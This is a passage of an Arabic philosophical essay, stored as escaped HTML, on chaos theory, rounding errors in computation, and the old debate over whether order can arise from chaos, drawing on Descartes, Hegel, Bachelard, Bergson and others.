\u0648\u0647\u0643\u0630\u0627 \u0646\u0645\u064a\u0632 \u0628\u064a\u0646 \u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u062a\u064a \u064a\u0632\u062f\u0627\u062f \u0641\u064a\u0647\u0627 \u0627\u0644\u0644\u0627\u062a\u0639\u064a\u0646 \u0628\u0634\u0643\u0644 \u0623\u0633\u0651\u0650\u064a\u060c \u0648\u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0627\u0644\u062a\u064a \u064a\u0632\u062f\u0627\u062f \u0641\u064a\u0647\u0627 \u0627\u0644\u0644\u0627\u062a\u0639\u064a\u064a\u0646 \u0628\u0634\u0643\u0644 \u062e\u0637\u064a.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0642\u062f \u0646\u0638\u0646 \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u0639\u0628\u064a\u0631 \u00ab\u00a0\u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629\u00a0\u00bb \u0623\u0646\u0647 \u0628\u0627\u0644\u0625\u0645\u0643\u0627\u0646 \u062d\u0633\u0627\u0628 \u0647\u0630\u0647 \u0627\u0644\u0641\u0648\u0636\u0649 \u0648\u0644\u0648 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0645\u0633\u0623\u0644\u0629 \u0641\u064a \u062c\u0648\u0647\u0631\u0647\u0627 \u062a\u062a\u0639\u0644\u0642 \u0628\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a. \u0641\u0645\u0627 \u0647\u0648 \u0635\u062d\u064a\u062d \u0641\u064a \u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0628\u062f\u0627\u064a\u0627\u062a \u0623\u0648 \u0627\u0644\u0634\u0631\u0648\u0637 \u0627\u0644\u0628\u062f\u0626\u064a\u0629 \u0635\u062d\u064a\u062d \u0623\u064a\u0636\u0627\u064b \u0641\u064a \u0627\u0644\u062a\u0643\u0631\u0627\u0631\u0627\u062a: \u0641\u0639\u0644\u0649 \u0645\u062f\u0649 \u0643\u0644 \u0645\u0631\u062d\u0644\u0629 \u0645\u0646 \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a \u062a\u062f\u062e\u0644 \u0623\u062e\u0637\u0627\u0621 \u062c\u062f\u064a\u062f\u0629 \u0646\u0627\u062c\u0645\u0629 \u0639\u0646 \u0627\u0644\u062a\u062f\u0648\u064a\u0631. \u0641\u0643\u0644 \u0639\u062f\u062f \u064a\u064f\u0645\u062b\u0651\u064e\u0644 \u0641\u064a \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631 \u0628\u0639\u062f\u062f \u0645\u0646 \u0627\u0644\u0628\u064a\u062a bits \u0627\u0644\u062a\u064a \u0646\u0644\u0642\u0645\u0647\u0627 \u0628\u0639\u062f \u0627\u0644\u062a\u0642\u0631\u064a\u0628 \u0644\u0623\u0646 \u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631 \u0645\u062d\u062f\u0648\u062f\u0629 \u0641\u064a\u0632\u064a\u0627\u0626\u064a\u0627\u064b. \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0641\u0644\u064a\u0633 \u0628\u0625\u0645\u0643\u0627\u0646\u0646\u0627 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0623\u0639\u062f\u0627\u062f \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u062a\u0641\u0635\u064a\u0644\u0627\u064b. \u0648\u0647\u0643\u0630\u0627 \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u0639\u0648\u064a\u0636 \u0627\u0644\u0628\u064a\u062a \u0627\u0644\u062a\u064a \u0641\u064f\u0642\u0650\u062f\u062a\u060c \u0644\u0643\u0646\u0647\u0627 \u062a\u0634\u0627\u0631\u0643 \u0645\u0639 \u0630\u0644\u0643 \u0641\u064a \u062d\u0633\u0627\u0628 \u0627\u0644\u0645\u0633\u0627\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0628\u0642\u062f\u0631 \u0645\u0633\u0627\u0647\u0645\u0629 \u0627\u0644\u0623\u0639\u062f\u0627\u062f \u0627\u0644\u0645\u0628\u0631\u0645\u062c\u0629 \u0646\u0641\u0633\u0647\u0627.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong> \u0648\u0628\u0627\u0644\u0646\u062a\u064a\u062c\u0629\u060c \u0633\u062a\u0643\u0648\u0646 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u062a\u064a \u0646\u062d\u0635\u0644 \u0639\u0644\u064a\u0647\u0627 \u062e\u0627\u0637\u0626\u0629 \u0648\u0644\u064a\u0633\u062a \u062a\u0642\u0631\u064a\u0628\u064a\u0629. \u0648\u0645\u0646 \u0647\u0646\u0627 \u062a\u0639\u0630\u0651\u064f\u0631 \u0627\u0644\u062a\u0642\u062f\u064a\u0631 \u0639\u0644\u0649 \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0628\u0639\u064a\u062f. \u0644\u0643\u0646 \u0647\u0630\u0627 \u0627\u0644\u0646\u0642\u062f \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0628\u062d\u062a\u060c \u0648\u0647\u0648 \u0644\u0627 \u064a\u0645\u0633 \u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0626\u064a\u0629.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>8-\u00a0 <\/strong><strong>\u0647\u0644 \u064a\u0645\u0643\u0646 \u0646\u0634\u0648\u0621 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0646 \u0627\u0644\u0641\u0648\u0636\u0649 \u061f <\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0633\u0623\u062d\u0627\u0648\u0644 \u0641\u064a \u062e\u062a\u0627\u0645 \u0647\u0630\u0627 \u0627\u0644\u062c\u0632\u0621 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0628\u062d\u062b \u0623\u0646 \u0623\u0639\u0627\u0644\u062c \u0627\u0644\u0641\u0643\u0631\u0629 \u0627\u0644\u062c\u0648\u0647\u0631\u064a\u0629 \u0627\u0644\u062a\u064a \u0637\u0627\u0644\u0645\u0627 \u0623\u0631\u0651\u064e\u0642\u062a \u0627\u0644\u0641\u0644\u0627\u0633\u0641\u0629 \u062d\u0648\u0644 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0646\u0634\u0648\u0621 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0646 \u0627\u0644\u0641\u0648\u0636\u0649\u060c \u0648\u0627\u0644\u0623\u062b\u0631 \u0627\u0644\u0630\u064a \u062a\u0631\u0643\u0647 \u0627\u0644\u0639\u0644\u0645 \u062d\u0648\u0644 \u0647\u0630\u0647 \u0627\u0644\u0646\u0642\u0637\u0629 \u0641\u064a \u0627\u0644\u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u062d\u062f\u064a\u062b\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u064a\u0645\u0643\u0646 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0647\u0630\u0647 \u0627\u0644\u0641\u0643\u0631\u0629 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645 \u062c\u062f\u0627\u064b \u0628\u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u062a\u0627\u0644\u064a:<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0644\u0646\u0639\u062a\u0628\u0631 \u0627\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u0642\u0627\u0626\u0644\u060c \u0648 \u0627\u0644\u0630\u064a \u0633\u0646\u062f\u0639\u0648\u0647 (\u0628) : \u00a0\u00bb \u0627\u0644\u0623\u0642\u0644 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0648\u0644\u0651\u0650\u062f \u0627\u0644\u0623\u0643\u062b\u0631.\u00a0\u00bb\u00a0 &#8230;. \u0627\u0644\u0623\u062e\u0630 \u0628\u0647\u0630\u0627 \u0627\u0644\u0645\u0628\u062f\u0623\u060c\u00a0\u00a0 \u064a\u0637\u0631\u062d \u0645\u0634\u0643\u0644\u0629 \u0625\u0628\u0633\u062a\u0645\u0648\u0644\u0648\u062c\u064a\u0629 \u062f\u0642\u064a\u0642\u0629 \u0648\u0634\u0627\u0626\u0643\u0629. \u0648\u0645\u0639 \u0630\u0644\u0643 \u0644\u0646\u062d\u062f\u062f \u0645\u0646\u0630 \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0623\u0646 \u0627\u0644\u0635\u0639\u0648\u0628\u0629 \u0644\u0627 \u062a\u0646\u0634\u0623 \u0625\u0644\u0627 \u0641\u064a \u062d\u0627\u0644\u0629 \u0627\u0644\u0646\u0634\u0648\u0621 \u0627\u0644\u0622\u0646\u064a \u0644\u0644\u0646\u0638\u0627\u0645.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u064a \u062d\u064a\u0646 \u0627\u0639\u062a\u0645\u062f\u062a \u0627\u0644\u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u063a\u0631\u0628\u064a\u0629 \u062d\u062a\u0649 \u0641\u062a\u0631\u0629 \u0642\u0631\u064a\u0628\u0629 \u0646\u0633\u0628\u064a\u0627\u064b \u0645\u0628\u062f\u0623 \u0645\u062e\u0627\u0644\u0641\u0627\u064b \u0644\u0640 (\u0628)\u060c \u0633\u0646\u062f\u0639\u0648\u0647 (\u0623)\u0627\u0644\u0642\u0627\u0626\u0644 : \u00a0\u00bb \u0627\u0644\u0623\u0642\u0644 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0639\u0637\u064a \u0627\u0644\u0623\u0643\u062b\u0631.\u00a0\u00bb \u0648\u0643\u0627\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0628\u062f\u0623 \u064a\u0628\u062f\u0648 \u0645\u0637\u0644\u0642\u0627\u064b\u060c \u0648\u0628\u062e\u0627\u0635\u0629 \u0645\u0646 \u062d\u064a\u062b \u064a\u0645\u0643\u0646 \u0627\u0639\u062a\u0628\u0627\u0631\u0647 \u0645\u0648\u0627\u0632\u064a\u0627\u064b \u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u0633\u0628\u0628\u064a\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u064a\u0639\u0628\u0631 \u0625\u062a\u064a\u064a\u0646 \u062c\u0650\u0644\u0633\u0648\u0646 E. Gilson \u0639\u0646 \u0627\u0644\u0645\u0628\u062f\u0623 (\u0623) \u0628\u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u062a\u0627\u0644\u064a: \u00ab\u00a0\u0643\u0644 \u0645\u0627 \u064a\u0645\u0644\u0643 \u0628\u062f\u0631\u062c\u0629 \u0645\u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u0643\u0645\u0627\u0644\u060c \u0641\u0625\u0646 \u0645\u0627 \u064a\u062d\u0645\u0644\u0647 \u0645\u0646 \u0643\u0645\u0627\u0644 \u0645\u0623\u062e\u0648\u0630 \u0645\u0646 \u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u0643\u0627\u0645\u0644 \u0648\u0627\u0644\u0645\u0637\u0644\u0642\u00a0\u00bb (\u0623\u064a \u0643\u0633\u0628\u0628 \u0623\u0648\u0644\u064a).<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u064a\u0633\u062a\u062e\u062f\u0645 \u062f\u064a\u0643\u0627\u0631\u062a \u0628\u0634\u0643\u0644 \u0623\u0648\u0636\u062d \u0647\u0630\u0627 \u0627\u0644\u0645\u0628\u062f\u0623 \u0628\u0642\u0648\u0644\u0647 \u0641\u064a \u062a\u0623\u0645\u0644\u0627\u062a\u0647 M\u00e9ditations: \u00ab\u00a0\u0625\u0646 \u0627\u0644\u0639\u062f\u0645 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0639\u0637\u064a \u0634\u064a\u0626\u0627\u064b\u060c \u0628\u0644 \u0625\u0646 \u0645\u0627 \u0647\u0648 \u0623\u0643\u0645\u0644\u060c \u0623\u064a \u0645\u0627 \u064a\u062a\u0636\u0645\u0646 \u0641\u064a \u0630\u0627\u062a\u0647 \u062d\u0642\u064a\u0642\u0629 \u0623\u0643\u062b\u0631\u060c \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0646\u0627\u062a\u062c\u0627\u064b \u0623\u0648 \u0645\u062a\u0639\u0644\u0642\u0627\u064b \u0628\u0645\u0627 \u0647\u0648 \u0623\u0642\u0644 \u0643\u0645\u0627\u0644\u0627\u064b&#8230;\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0639\u0646\u062f\u0645\u0627 \u064a\u0646\u0642\u062f \u0643\u0627\u0646\u0637 \u0627\u0644\u062d\u062c\u0629 \u0627\u0644\u0623\u0646\u0637\u0648\u0644\u0648\u062c\u064a\u0629 (\u0623\u064a \u0627\u0644\u0645\u062e\u062a\u0635\u0629 \u0628\u0628\u0631\u0647\u0627\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u0643\u0627\u0626\u0646)\u060c \u0641\u0625\u0646 \u0646\u0642\u062f\u0647 \u0645\u0648\u062c\u0651\u064e\u0647 \u0623\u0633\u0627\u0633\u0627\u064b \u0644\u0644\u0631\u0648\u0627\u0628\u0637 \u0628\u064a\u0646 \u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u0645\u0646\u0637\u0642\u064a\u0629 \u0648\u0627\u0644\u0648\u062c\u0648\u062f \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u060c \u0644\u0643\u0646\u0647 \u0644\u0627 \u064a\u0645\u0633 \u0647\u0630\u0627 \u0627\u0644\u0645\u0628\u062f\u0623 \u0623\u0628\u062f\u0627\u064b.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0623\u0645\u0627 \u0647\u064a\u063a\u0644 \u0627\u0644\u0630\u064a \u064a\u0642\u0628\u0644 \u0628\u0635\u0644\u0627\u0628\u0629 \u0627\u0644\u0628\u0631\u0647\u0627\u0646 \u0627\u0644\u0623\u0646\u0637\u0648\u0644\u0648\u062c\u064a ontologique\u060c \u0641\u0625\u0646\u0647 \u064a\u0637\u0648\u0631 (\u0641\u064a \u062f\u0631\u0648\u0633 \u0641\u064a \u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u062a\u0627\u0631\u064a\u062e) \u0645\u0648\u0636\u0648\u0639\u0627\u064b \u064a\u0631\u062a\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u0645\u0628\u062f\u0623 (\u0628). \u0641\u0646\u0631\u0627\u0647 \u064a\u062f\u0627\u0641\u0639 \u0639\u0646 \u0641\u0643\u0631\u0629 \u0623\u0646 <strong>\u0627\u0644\u0623\u0641\u0639\u0627\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u062a\u0646\u0634\u0623 \u0639\u0646 \u0627\u0644\u0641\u0648\u0636\u0649\u060c \u0648\u0623\u0646 \u0627\u0644\u0628\u0634\u0631 \u064a\u062a\u0635\u0631\u0641\u0648\u0646 \u0648\u0641\u0642 \u0623\u0647\u0648\u0627\u0626\u0647\u0645 \u0648\u0631\u063a\u0628\u0627\u062a\u0647\u0645\u060c \u0648\u0623\u0646 \u0630\u0644\u0643 \u0643\u0644\u0647 \u064a\u0642\u0648\u062f \u0645\u0639 \u0630\u0644\u0643 \u0625\u0644\u0649 \u062a\u0642\u062f\u0645 \u0627\u0644\u0641\u0643\u0631 \u0648\u0627\u0644\u0645\u0646\u0637\u0642 \u0645\u0639 \u0627\u0644\u0632\u0645\u0646.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0628\u0639\u062f \u0647\u064a\u063a\u0644 \u0646\u062c\u062f \u0639\u0646\u062f \u0633\u0628\u0646\u0633\u0631 Spencer \u0628\u0631\u0647\u0627\u0646\u0627\u064b \u0645\u0637\u0648\u0644\u0627\u064b \u062d\u0648\u0644 \u00ab\u00a0\u0627\u0644\u0627\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u062a\u062c\u0627\u0646\u0633\u00a0\u00bb \u064a\u0642\u0644\u062f \u0641\u064a\u0647 \u0623\u0641\u0643\u0627\u0631\u0627\u064b \u0645\u0648\u0627\u0641\u0642\u0629 \u0644\u0644\u0645\u0628\u062f\u0623 (\u0628).<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u064a\u0639\u0628\u0651\u0650\u0631 \u0628\u0627\u0634\u0644\u0627\u0631 Bachelard \u0639\u0646 \u0641\u0643\u0631\u0629 \u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u062a\u0645\u0627\u064a\u0632\u060c \u0623\u064a \u0627\u062e\u062a\u0641\u0627\u0621 \u0627\u0644\u062a\u062c\u0627\u0646\u0633 \u0628\u064a\u0646 \u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0645\u062a\u0641\u0627\u0639\u0644\u0629 \u0628\u0642\u0648\u0644\u0647: \u00ab\u00a0<strong>\u0625\u0646\u0647 \u0645\u0646 \u0627\u0644\u0623\u0641\u0636\u0644 \u0644\u0643\u064a \u062a\u0634\u0643\u0644 \u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0646\u0638\u0627\u0645\u0627\u064b \u0645\u0627 \u0623\u0646 \u064a\u062a\u0648\u0641\u0631 \u062f\u0627\u062e\u0644 \u0643\u0644 \u0646\u0638\u0627\u0645 \u062a\u0646\u0648\u0639 \u0631\u064a\u0627\u0636\u064a \u0623\u0633\u0627\u0633\u064a \u0628\u064a\u0646 \u0627\u0644\u0645\u0631\u0643\u0628\u0627\u062a<\/strong>.\u00a0\u00bb \u0648\u0644\u0627\u0634\u0643 \u0623\u0646\u0646\u0627 \u0646\u0633\u062a\u0637\u064a\u0639 \u0623\u0646 \u0646\u0631\u0649 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062a\u0646\u0648\u0639 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u062a\u0641\u0633\u064a\u0631\u0627\u064b \u0645\u0642\u0628\u0648\u0644\u0627\u064b \u0644\u0644\u0641\u0648\u0636\u0649\u060c \u0636\u0645\u0646 \u0645\u0646\u0638\u0648\u0631 \u0646\u0634\u0648\u0621 \u0627\u0644\u0643\u0648\u0646 \u0645\u0646 \u0627\u0644\u0641\u0648\u0636\u0649.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u064a\u0624\u0643\u062f \u0628\u064a\u064a\u0631 \u062f\u0627\u0643\u0648 (\u0641\u064a \u0645\u0624\u0644\u0641\u0647 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u062c\u062f\u064a\u062f \u0648\u0637\u0631\u0642\u0647 \u0627\u0644\u0645\u062f\u0647\u0634\u0629) \u0639\u0644\u0649 \u0627\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u062b\u0627\u0646\u064a (\u0628) \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u0646\u0627\u0648\u0644\u0647 \u0644\u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627. <strong>\u0641\u0647\u0648 \u064a\u0631\u0649 \u0623\u0646 \u0627\u0644\u0641\u0646\u0627\u0621 \u0644\u064a\u0633 \u0625\u0644\u0627 \u062a\u062d\u0648\u0644\u0627\u064b<\/strong>\u060c \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0630\u064a \u064a\u064f\u0639\u064e\u062f\u0651\u064f \u0642\u0627\u0646\u0648\u0646\u0627\u064b \u0637\u0628\u064a\u0639\u064a\u0627\u064b. \u062b\u0645 \u0646\u0631\u0627\u0647 \u064a\u062a\u0633\u0627\u0621\u0644 \u0625\u0630\u0627 \u0644\u0645 \u064a\u0643\u0646 \u0647\u0646\u0627\u0643 \u0648\u062c\u0647 \u0622\u062e\u0631 \u0644\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627\u060c \u0623\u0644\u0627 \u0648\u0647\u0648 \u0627\u0632\u062f\u064a\u0627\u062f \u0645\u0639\u0627\u0631\u0641 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u0648\u0639\u064a\u0647 \u0645\u0639 \u0623\u0646 \u0628\u062f\u0646\u0647 \u064a\u0628\u062f\u0623 \u0628\u0627\u0644\u0647\u0631\u0645 \u0645\u0646\u0630 \u0648\u0644\u0627\u062f\u062a\u0647. \u0648\u0645\u0639 \u0648\u062c\u0648\u062f \u0642\u0627\u0646\u0648\u0646 \u0627\u0644\u0645\u0648\u062a\u060c \u0644\u0643\u0646 \u0627\u0644\u062d\u064a\u0627\u0629 \u0644\u0627 \u062a\u0646\u0642\u0635 \u0628\u0631\u0623\u064a\u0647&#8230;.\u00a0 \u0648\u0647\u0648 \u064a\u0633\u062a\u0634\u0647\u062f \u0628\u0628\u0631\u063a\u0633\u0648\u0646 \u0627\u0644\u0630\u064a \u064a\u0642\u0648\u0644: \u00ab\u00a0<strong>\u0644\u0627 \u064a\u0628\u062f\u0648 \u0623\u0628\u062f\u0627\u064b \u0645\u0648\u062a \u0627\u0644\u0623\u0641\u0631\u0627\u062f \u062a\u0646\u0627\u0642\u0635\u0627\u064b \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645. \u0648\u0627\u0644\u062d\u064a\u0627\u0629 \u0644\u0645 \u062a\u062c\u0647\u062f \u0623\u0628\u062f\u0627\u064b \u0644\u0625\u0637\u0627\u0644\u0629 \u0648\u062c\u0648\u062f \u0641\u0631\u062f \u0645\u0646 \u0627\u0644\u0623\u0641\u0631\u0627\u062f<\/strong>.\u00a0\u00bb \u0648\u0647\u0643\u0630\u0627 \u064a\u062a\u0639\u0644\u0642 \u0647\u0630\u0627 \u0627\u0644\u062b\u0628\u0627\u062a \u0648\u0647\u0630\u0647 \u0627\u0644\u062f\u064a\u0645\u0648\u0645\u0629 \u0628\u0631\u0623\u064a \u0628\u064a\u064a\u0631 \u062f\u0627\u0643\u0648 \u0628\u0645\u0628\u062f\u0623 \u0648\u062d\u064a\u062f \u062a\u0643\u0648\u0646 \u0627\u0644\u0645\u0627\u062f\u0629 \u0639\u0628\u0626\u0627\u064b \u0639\u0644\u064a\u0647. \u0648\u0647\u0643\u0630\u0627 \u0633\u064a\u0639\u0648\u062f \u0627\u0644\u0648\u0639\u064a \u0625\u0644\u0649 \u0645\u0635\u062f\u0631\u0647 \u0627\u0644\u0623\u0648\u0644 \u0628\u0639\u062f \u0627\u0644\u062a\u062e\u0644\u0635 \u0645\u0646\u0647\u0627.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0625\u0646 \u0627\u0644\u0623\u0645\u062b\u0644\u0629 \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629 \u0622\u0646\u0641\u0627\u064b \u062a\u0628\u064a\u0646 \u0627\u062d\u062a\u062f\u0627\u0645 \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629 \u0628\u064a\u0646 \u0623\u0646\u0635\u0627\u0631 \u0627\u0644\u0645\u0628\u062f\u0623\u064a\u0646 (\u0623) \u0648(\u0628). \u0648\u0627\u0644\u062d\u0642 \u0623\u0646\u0647 \u0645\u0646\u0630 \u0639\u0635\u0648\u0631 \u0642\u062f\u064a\u0645\u0629 \u062c\u062f\u0627\u064b \u0643\u0627\u0646 \u062b\u0645\u0629 \u062a\u0642\u0644\u064a\u062f \u064a\u0645\u0643\u0646 \u0631\u0628\u0637\u0647 \u0628\u0637\u0631\u064a\u0642\u0629 \u0645\u0627 \u0628\u0627\u0644\u0645\u0628\u062f\u0623 (\u0628)\u060c \u0644\u0643\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u0642\u0644\u064a\u062f \u0638\u0644 \u062e\u0627\u0631\u062c \u0627\u0644\u0623\u0637\u064f\u0631 \u0627\u0644\u0645\u062a\u0639\u0627\u0631\u0641 \u0639\u0644\u064a\u0647\u0627 \u0648\u0627\u0644\u0645\u0642\u0628\u0648\u0644\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0627\u0644\u0643\u064a\u0645\u064a\u0627\u0621 \u0623\u062d\u062f \u0627\u0644\u0623\u0645\u062b\u0644\u0629 \u0639\u0644\u0649 \u0630\u0644\u0643. \u0641\u0645\u0646 \u0627\u0644\u0628\u0648\u062a\u0642\u0629 (\u0627\u0644\u0641\u0648\u0636\u0649) \u064a\u062e\u0631\u062c \u0627\u0644\u0630\u0647\u0628 (\u0627\u0644\u0646\u0638\u0627\u0645). \u0648\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0633\u0648\u0627\u062f (\u0627\u0644\u0641\u0648\u0636\u0649) \u062a\u0633\u0628\u0642 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u062d\u064e\u0645\u0627\u0631 (\u0627\u0644\u0630\u0647\u0628) \u0648\u0627\u0644\u0628\u064a\u0627\u0636 (\u0627\u0644\u0646\u0638\u0627\u0645).<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0635\u0639\u0648\u0628\u0629 \u0642\u0628\u0648\u0644\u0646\u0627 \u0628\u0627\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u062b\u0627\u0646\u064a (\u0628) \u0646\u0627\u062c\u0645\u0629 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\u064a\u0630\u0643\u064a \u0627\u0644\u0641\u0643\u0631 \u062d\u064a\u0646 \u0628\u064a\u0646\u062a \u0645\u062b\u0644\u0627\u064b \u0623\u0646 \u062a\u0641\u0631\u064a\u063a\u0627\u062a \u0643\u0647\u0631\u0628\u0627\u0626\u064a\u0629 (\u0648\u0647\u064a \u0641\u0639\u0644 \u0641\u0648\u0636\u0648\u064a) \u0641\u064a \u063a\u0627\u0632 \u0628\u0633\u064a\u0637 \u062c\u062f\u0627\u064b (\u0647\u0648 \u0646\u0638\u0627\u0645 \u0628\u0633\u064a\u0637) \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0625\u0646\u062a\u0627\u062c \u062d\u0645\u0648\u0636 \u0646\u0648\u0648\u064a\u0629 \u0648\u0646\u064a\u0648\u0643\u0644\u064a\u0648\u062a\u064a\u062f\u0627\u062a (\u0648\u0647\u064a \u0646\u0638\u0627\u0645 \u0623\u0643\u062b\u0631 \u062a\u0639\u0642\u064a\u062f\u0627\u064b).<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0643\u0627\u0646\u062a \u0645\u0639\u0638\u0645 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<strong>\u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0648\u0627\u0644\u062b\u0642\u0627\u0644\u0629<\/strong> \u0639\u0644\u0649 \u062d\u062f\u0651\u064d \u0633\u0648\u0627\u0621. \u063a\u064a\u0631 \u0623\u0646 \u0627\u0644\u0635\u0644\u0629 \u0628\u064a\u0646 \u0627\u0644\u062a\u0631\u0645\u0648\u062f\u064a\u0646\u0627\u0645\u064a\u0643\u0627 \u0648\u0627\u0644\u062b\u0642\u0627\u0644\u0629 \u0644\u0627 \u062a\u0632\u0627\u0644 \u0645\u062c\u0647\u0648\u0644\u0629\u060c \u0639\u0644\u0649 \u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u0628\u0639\u0636 \u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u062c\u0632\u0626\u064a \u0644\u0628\u0639\u0636 \u0627\u0644\u0646\u0638\u0631\u064a\u0627\u062a \u0641\u064a \u0625\u0637\u0627\u0631 \u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u062b\u0642\u0648\u0628 \u0627\u0644\u0633\u0648\u062f\u0627\u0621.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0646\u062e\u062a\u0645 \u0628\u0633\u0624\u0627\u0644\u064a\u0646:<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0647\u0644 \u0623\u0646 